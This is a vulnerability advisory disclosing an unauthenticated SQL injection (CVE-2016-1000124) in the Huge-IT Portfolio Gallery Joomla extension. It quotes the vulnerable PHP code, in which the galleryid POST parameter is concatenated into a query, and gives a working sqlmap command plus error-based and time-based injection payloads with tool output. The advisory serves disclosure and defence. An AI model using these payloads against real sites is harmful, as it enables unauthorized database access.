Advisory #: 170
Title: Unauthenticated SQL Injection in Huge-IT Portfolio Gallery Plugin v1.0.6
Author: Larry W. Cashdollar, @_larry0
Date: 2016-09-16
CVE-ID:[CVE-2016-1000124]
CWE: CWE-89 SQL Injection
Download Site: http://huge-it.com/joomla-portfolio-gallery/
Vendor: huge-it.com
Vendor Notified: 2016-09-17
Vendor Contact: info@huge-it.com
Advisory: http://www.vapidlabs.com/advisory.php?v=170
Description: Huge-IT Portfolio Gallery extension can do wonders with your website. If you wish to show your photos, videos, enclosing the additional images and videos, then this Portfolio Gallery extension is what you need.
Vulnerability:
The following lines allow unauthenticated users to perform SQL injection against the functions in ajax_url.php: In file ajax_url.php: 11 define('_JEXEC',1); 12 defined('_JEXEC') or die('Restircted access'); . . . 49 $page = $_POST["page"]; 50 $num=$_POST['perpage']; 51 $start = $page * $num - $num; 52 $idofgallery=$_POST['galleryid']; 53 $level = $_POST['level']; 54 $query = $db->getQuery(true); 55 $query->select('*'); 56 $query->from('#__huge_itportfolio_images'); 57 $query->where('portfolio_id ='.$idofgallery); 58 $query ->order('#__huge_itportfolio_images.ordering asc'); 59 $db->setQuery($query,$start,$num);
Export: JSON TEXT XML
Exploit Code:
  1. $ sqlmap -u 'http://example.com/components/com_portfoliogallery/ajax_url.php' --data="page=1&galleryid=*&post=huge_it_portfolio_gallery_ajax&perpage=20&linkbutton=2"
  2.  
  3.  
  4. (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
  5. sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests:
  6. ---
  7. Parameter: #1* ((custom) POST)
  8. Type: error-based
  9. Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
  10. Payload: page=1&galleryid=-2264 OR 1 GROUP BY CONCAT(0x71716a7a71,(SELECT (CASE WHEN (3883=3883) THEN 1 ELSE 0 END)),0x7178627071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&post=huge_it_portfolio_gallery_ajax&perpage=20&linkbutton=2
  11.  
  12. Type: AND/OR time-based blind
  13. Title: MySQL >= 5.0.12 time-based blind - Parameter replace
  14. Payload: page=1&galleryid=(CASE WHEN (9445=9445) THEN SLEEP(5) ELSE 9445 END)&post=huge_it_portfolio_gallery_ajax&perpage=20&linkbutton=2
  15. ---
  16. [13:30:39] [INFO] the back-end DBMS is MySQL
  17. web server operating system: Linux Debian 8.0 (jessie)
  18. web application technology: Apache 2.4.10
  19. back-end DBMS: MySQL >= 5.0.12
  20. [13:30:39] [WARNING] HTTP error codes detected during run:
  21. 500 (Internal Server Error) - 2715 times
  22. [13:30:39] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4'
  23.  
  24. [*] shutting down at 13:30:39
Screen Shots:
Notes: